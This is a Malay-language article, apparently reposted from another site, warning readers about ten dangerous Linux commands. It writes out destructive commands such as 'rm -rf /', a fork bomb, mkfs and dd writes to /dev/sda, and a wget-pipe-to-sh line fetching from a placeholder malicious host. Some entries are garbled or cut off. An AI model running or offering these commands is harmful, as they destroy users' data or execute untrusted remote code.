Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Apakah arahan yang paling berbahaya dalam Linux?

Apakah arahan yang paling berbahaya dalam Linux?

WBOY
WBOYke hadapan
2023-05-13 23:55:101763semak imbas

Pengenalan kepada 10 arahan paling berbahaya dalam Linux:

1. Arahan rm -rf
Arahan rm -rf ialah salah satu cara terpantas untuk memadam folder dan kandungannya.
Hanya kesilapan kesilapan atau kejahilan yang sedikit boleh menyebabkan ranap sistem tidak dapat dipulihkan.

Berikut ialah beberapa pilihan bagi arahan rm:

1. Arahan rm biasanya digunakan untuk memadam fail di bawah Linux.

Perintah 2.rm -r memadamkan folder secara rekursif, malah folder kosong.
3. Arahan rm -f boleh memadam terus 'fail baca sahaja' tanpa bertanya. Memadamkan fail di bawah Linux tidak mengambil kira sama ada fail itu baca sahaja, tetapi hanya sama ada direktori induknya mempunyai kebenaran menulis. Oleh itu, parameter -f hanya bermakna anda tidak perlu mengesahkan pemadaman satu demi satu, tetapi akan memadamnya secara senyap. Di samping itu, arahan rm asal sebenarnya tidak mempunyai gesaan pemadaman, tetapi pengedaran umum akan menambah parameter -i kepada rm melalui alias untuk meminta pengesahan pemadaman, manakala -f menyekat gesaan ini.
4.rm -rf /: Padam paksa semua dalam direktori akar.
5.rm -rf *: Padam paksa semua fail dalam direktori semasa.
6.rm -rf : Padamkan folder semasa dan subfoldernya secara paksa.
Mulai sekarang, sila berhati-hati apabila anda melaksanakan arahan rm -rf. Kami boleh mencipta alias rm -i untuk arahan 'rm' dalam fail ".bashrc" untuk mengelakkan kemalangan semasa memadam fail dengan arahan 'rm' Ia akan meminta anda mengesahkan setiap permintaan pemadaman. (Anotasi: Kebanyakan pengedaran telah melakukan ini. Jika tidak, sila lakukan dan pastikan anda mempertimbangkan perkara yang anda lakukan sebelum menggunakan parameter -f)

2 :{:|. ;: Perintah

Ini adalah contoh bom garpu.
Operasi khusus adalah untuk mentakrifkan fungsi bernama ‘:’, yang akan memanggil dirinya dua kali, sekali di latar depan dan masa lain di latar belakang. Ia akan dilaksanakan berulang kali sehingga sistem ranap.

3. Perintah> /dev/sda

Arahan ini akan menulis output 'arahan' tertentu ke peranti blok /dev/sda.
Operasi ini akan menggantikan semua blok data dalam peranti blok dengan data asal yang ditulis oleh arahan, mengakibatkan kehilangan data keseluruhan peranti blok.

4. folder mv /dev/null

Arahan ini akan mengalihkan 'folder' tertentu ke /dev/null.
Di Linux, peranti /dev/null atau null ialah fail khas, semua data yang ditulis kepadanya akan dikosongkan, dan kemudian operasi tulis akan dikembalikan dengan jayanya.
Sudah tentu, perlu diingatkan bahawa arahan ini tidak menghalang perisian pemulihan data - oleh itu, pemusnahan yang benar dan lengkap memerlukan perisian atau teknik khas untuk diselesaikan.

5. wget http://malicious_source -O- |. sh

Arahan ini akan memuat turun skrip daripada (mungkin) sumber berniat jahat dan melaksanakannya.
Arahan Wget akan memuat turun skrip ini, dan sh akan (tanpa syarat) melaksanakan skrip yang dimuat turun.
Nota: Anda harus sentiasa memberi perhatian kepada sumber pakej atau skrip anda yang dimuat turun. Hanya gunakan skrip/program yang dimuat turun daripada sumber yang dipercayai.

6. mkfs.ext3 /dev/sda

Arahan di atas akan memformat peranti blok 'sda' Selepas melaksanakan arahan ini, peranti blok anda (pemacu keras) akan Being diformat akan terus membawa sistem anda ke tahap yang tidak boleh dipulihkan.
Biasanya kami tidak menggunakan peranti seperti /dev/sda secara langsung melainkan ia digunakan sebagai peranti mentah.
Secara amnya, anda perlu membahagikan sda kepada partition seperti sda1 dan sda2 sebelum digunakan. Sudah tentu, sama ada anda menggunakan sda ​​atau sda1, mkfs pada peranti blok atau partition adalah memusnahkan, dan data padanya akan tersejat.

7. >

Walau bagaimanapun, sebelum melaksanakan, sila sahkan bahawa fail output kosong atau tidak wujud, jika tidak, fail asal tidak boleh dipulihkan - malah perisian pemulihan data mungkin tidak dapat membantu anda.
Apa yang anda mungkin benar-benar mahu gunakan ialah ">>", yang mengumpul output baharu pada fail, dan bukannya mengepam fail itu.
Jika anda membuat input yang salah atau memasukkan perintah seperti ">


8. ^foo^bar

Arahan ini digunakan untuk mengedit arahan yang dijalankan sebelum ini tanpa menaip semula keseluruhan arahan.

Ini boleh membawa kepada masalah sebenar jika anda tidak menyemak dengan teliti risiko menukar arahan asal apabila menggunakan arahan foobar.



9 dd if=/dev/random of=/dev/sda

Arahan ini akan menulis fail sampah rawak ke sda ​​peranti blok untuk memadamkan data, membolehkan anda Sistem mungkin jatuh ke dalam keadaan huru-hara dan tidak dapat dipulihkan.

Ingat apa yang saya katakan di atas bahawa mv ke lubang hitam tidak boleh memadamkan data sepenuhnya? Kemudian arahan ini memberi anda cara untuk memadamkannya sepenuhnya Sudah tentu, untuk berada di bahagian yang selamat, anda boleh menimpanya beberapa kali.



10. Arahan tersembunyi

Arahan berikut sebenarnya adalah arahan pertama di atas (rm -rf).

Kod di sini tersembunyi dalam perenambelasan Pengguna yang jahil mungkin tertipu dan boleh memadam partition root anda jika menjalankan perintah berikut dalam terminal.

Bahaya sebenar tersembunyi dan tidak dapat dikesan dengan mudah. Anda mesti sentiasa sedar akan akibat daripada apa yang anda lakukan.
Ingat, jangan sekali-kali menyusun/menjalankan kod daripada sumber yang tidak diketahui.

Atas ialah kandungan terperinci Apakah arahan yang paling berbahaya dalam Linux?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam